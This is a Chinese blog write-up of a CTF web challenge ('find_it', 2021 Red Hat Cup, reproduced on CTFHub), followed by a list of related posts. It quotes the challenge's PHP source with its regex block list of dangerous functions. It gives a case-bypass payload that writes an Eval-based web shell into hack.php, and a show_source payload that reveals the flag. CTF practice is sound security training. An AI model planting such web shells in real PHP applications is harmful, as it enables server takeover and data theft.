[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it

看群里说CTFHub上复现了, 我来看看

本来想按照红帽杯的套路来试一下,发现phpinfo里莫得flag了

只能想想其他办法咯

<?php#Really easy...$file=fopen("flag.php","r") or die("Unable 2 open!");$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));$hack=fopen("hack.php","w") or die("Unable 2 open");$a=$_GET['code'];if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){die("you die");
}
if(strlen($a)>33){die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);fclose($file);
fclose($hack);
?>

preg_match()过滤了eval但是!!!!!

Eval它没ban

所以我们可以写’大’马

构造payload:

/?code=<?php%20@Eval($_POST['aaa']);?>

蚁剑连马

拿到flag:

但是作为菜鸡

我还是要重新思考一下这道题的思路:

代码中有几个函数需要注意一下

比如fopen(),fwrite(),fread()

fread() 函数读取文件
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));

也就是说,这里已经读到了flag

$a=$_GET['code'];
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
这里又都写到了hack.php

所以也就是说,我们再绕通配符写马的时候,flag也被传进了hack.php中

但是为什么看不到呢(具体我也不知道,知道的大哥哥可以告诉我学习一下)

但是我想到了另外一个函数show_source()

show_source() 函数对文件进行语法高亮显示。

随机构造payload:

/?code=<?php show_source(__FILE__);?>
也没有被ban的项,正常传入

然后访问hack.php

flag他就出来了。。。。

同时还有我传入的payload

搞一波骚操作!

所以,今天又学到了新姿势~~~~

[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it相关推荐

  1. 2021第四届红帽杯网络安全大赛-线上赛Writeup

    文章目录 MISC 签到 colorful code WEB find_it framework WebsiteManger ezlight 记录一下被锤爆的一天-orz MISC 签到 签到抢了个二 ...

  2. 第四届红帽杯网络安全大赛 Web 部分writeup

    前言 记录一下web的wp,随手写的,只会前三题,确实都很简单. find_it 扫到robots.txt,发现1ndexx.php,直接访问不了,访问.1ndexx.php.swp得到源码,然后读f ...

  3. CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger

    CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger(布尔盲注.SSRF ) 场景描述:最新的网站测试器,作为非站长的你,能利用好它的功能吗? 场景打开后,如下,是个登 ...

  4. 2022第二届网刃杯网络安全大赛-Web

    2022第二届网刃杯网络安全大赛-Web 前言 提示:该内容由夜刃TEOT战队-夜白君师傅原创,禁止抄袭! 一.Web2-upload 难度系数:4.0 题目描述:只有想不到,没有做不到,sql yy ...

  5. 2021年“羊城杯”网络安全大赛部分Writeup

    文章目录 MISC 签到 赛博德国人 MISC520 Baby_Forenisc Crypto Bigrsa Ring Ring Ring MISC 签到 题目描述:猜数字01-30,数字序列以San ...

  6. [2021首届“陇剑杯”网络安全大赛 决赛]内存取证writeup

    决赛不能联网-手上有只有vol2.6,这道题完全死了 文章目录 [2021首届"陇剑杯"网络安全大赛 决赛]内存取证 writeup 产品密钥 匿名邮箱 远控后门 数据清除时间 [ ...

  7. 【2020年第二届“网鼎杯”网络安全大赛 青龙组】Web AreUSerialz

    [2020年第二届"网鼎杯"网络安全大赛 青龙组]Web AreUSerialz http://94b1c2d4231f4b4bb92162d5e89dec8f5817750c48 ...

  8. [2021首届“陇剑杯”网络安全大赛] webshell

    [2021首届"陇剑杯"网络安全大赛] webshell 题目描述 单位网站被黑客挂马,请您从流量中分析出webshell,进行回答: 1.黑客登录系统使用的密码是___Admin ...

  9. 2021第一届网刃杯网络安全大赛-老练的黑客

    2021第一届网刃杯网络安全大赛-老练的黑客 难度系数:4.0 题目描述:一黑客成功入侵某核电站且获得了操作员站控制权,该操作员站可控制离心机的转速,当离心机的转速持续高于5000时将导致设备损坏,为 ...

最新文章

  1. “#ifdef __cplusplus extern C { #endif”的定义(zz)
  2. 定义serialVersionUID的作用与意义整理
  3. 【Windows 逆向】OD 调试器工具 ( 显示模块窗口 | 显示记录窗口 | 显示内存窗口 | 显示线程 | 显示句柄 | 显示 CPU | 多窗口界面 )
  4. CTF-Web-基础知识点汇总
  5. java监理的职责_承担监理业务和监理责任的一方及其合法继承人被称为()。...
  6. linux隐藏apache信息,Linux下如何隐藏Apache版本号信息
  7. 怎么快速写python自动化脚本_自动化脚本如何编写?
  8. Remoting Generic Async Queue (Release 2) override InitializeLifetimeService return null
  9. Java连接MySQL数据库及简单操作代码
  10. 大连理工大学计算机组织与结构实验,大连理工大学计算机系统结构实验-实验四.doc...
  11. 遗传算法的C语言代码
  12. 小程序——scroll-view 页面不滚动与隐藏导航条
  13. Chrome谷歌浏览器ImTranslator翻译插件安装使用教程
  14. Python 立体图形的画法(一)
  15. 试题 历届试题 青蛙跳杯子
  16. python游戏开发框架_Python游戏开发:数字华容道
  17. 操作系统(四)操作系统的主要功能
  18. 【数据结构】树的逻辑结构
  19. 基于 Wio Terminal 实现的网络天气预报助理
  20. CSS样式大全(网络收集整理)

热门文章

  1. bow键盘 android,一拖三还能秒切换 BOW航世蓝牙键盘体验
  2. 平静的纪中生活(2021.7.12~7.22)
  3. 关于zookeeper启动失败,个人解决经验
  4. H3C CLI基础笔记(Qos)
  5. Unix Linux、MAC、Window 如何安装配置环境?都在这里啦~
  6. Java版本便签纸小项目
  7. Fiddler抓包学习笔记
  8. 嵌入式Linux系统
  9. 【谷歌地图--MapsSDK集成】
  10. Python 为什么这么慢?